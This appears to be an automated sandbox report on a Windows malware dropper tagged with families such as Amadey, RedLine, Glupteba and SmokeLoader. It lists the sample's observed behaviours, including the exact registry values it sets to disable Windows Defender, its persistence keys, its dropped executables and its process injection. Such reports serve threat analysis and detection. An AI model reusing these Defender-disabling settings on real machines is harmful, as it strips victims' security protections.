Malware Analysis Report

2024-10-24 19:58

Sample ID 231104-cszzrsbg9t
Target 72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe
SHA256 72c01e925edb96b094258fa918e6e107d3435d66a3c7b8dfd3fbffc1c1d101db
Tags
amadey glupteba healer redline sectoprat smokeloader kedru livetraffic pixelnew2.0 plost up3 backdoor discovery dropper evasion infostealer loader persistence rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

72c01e925edb96b094258fa918e6e107d3435d66a3c7b8dfd3fbffc1c1d101db

Threat Level: Known bad

The file 72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe was found to be: Known bad.

Malicious Activity Summary

amadey glupteba healer redline sectoprat smokeloader kedru livetraffic pixelnew2.0 plost up3 backdoor discovery dropper evasion infostealer loader persistence rat spyware stealer trojan

Glupteba payload

Glupteba

Amadey

Detects Healer an antivirus disabler dropper

RedLine payload

SectopRAT

SmokeLoader

Modifies Windows Defender Real-time Protection settings

Healer

SectopRAT payload

RedLine

Downloads MZ/PE file

Blocklisted process makes network request

Modifies Windows Firewall

Stops running service(s)

Reads user/profile data of web browsers

Checks computer location settings

Loads dropped DLL

Windows security modification

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Checks installed software on the system

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Drops file in Program Files directory

Launches sc.exe

Enumerates physical storage devices

Program crash

Unsigned PE

Suspicious use of SendNotifyMessage

Suspicious behavior: MapViewOfSection

Suspicious use of FindShellTrayWindow

Runs net.exe

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks SCSI registry key(s)

Creates scheduled task(s)

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-04 02:21

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-04 02:21

Reported

2023-11-04 02:23

Platform

win10v2004-20231023-en

Max time kernel

79s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe"

Signatures

Amadey

trojan amadey

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\system32\rundll32.exe N/A

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\3BC0.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\4CBB.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\904.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ADA.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BF5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2CX435if.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\3BC0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4239.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Broom.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4641.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4CBB.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
N/A N/A C:\Program Files (x86)\BBuster\BBuster.exe N/A
N/A N/A C:\Program Files (x86)\BBuster\BBuster.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\72c01e925edb96b094258fa918e6e107d3435d66a3c7b.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v3132415.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\904.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\EG4Hg5kQ.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\EX5vn4em.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\vI2xc7UB.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Cd8de4fT.exe N/A

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 776 set thread context of 4504 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1bt58XV1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 6336 set thread context of 6892 N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\BBuster\Lang\is-1OBQ0.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Online\is-D5DR3.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Help\is-6TUA4.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-H3HE5.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-MGKS0.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-5CBA1.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-0U0J5.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-4MK8R.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-9VDM4.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-KQR15.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File opened for modification C:\Program Files (x86)\BBuster\BBuster.exe C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-BBOKD.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-KFAT6.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-O1TFI.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-VRNA1.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-8ABQU.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-VCUGL.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-26VM5.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-9JA46.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Plugins\is-4UH8J.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File opened for modification C:\Program Files (x86)\BBuster\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\is-AUG52.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-LBEK6.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-0565V.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-KRAA9.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-0FN84.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Online\is-Q2J6U.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-U4HQ8.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-NLF3T.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-81HLM.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\is-I9IAQ.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-JTCG1.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A
File created C:\Program Files (x86)\BBuster\Lang\is-TA7JU.tmp C:\Users\Admin\AppData\Local\Temp\is-O89VO.tmp\is-CQL27.tmp N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\c7275045.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\a0308403.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\kos4.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\4641.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\b3765478.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\4CBB.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
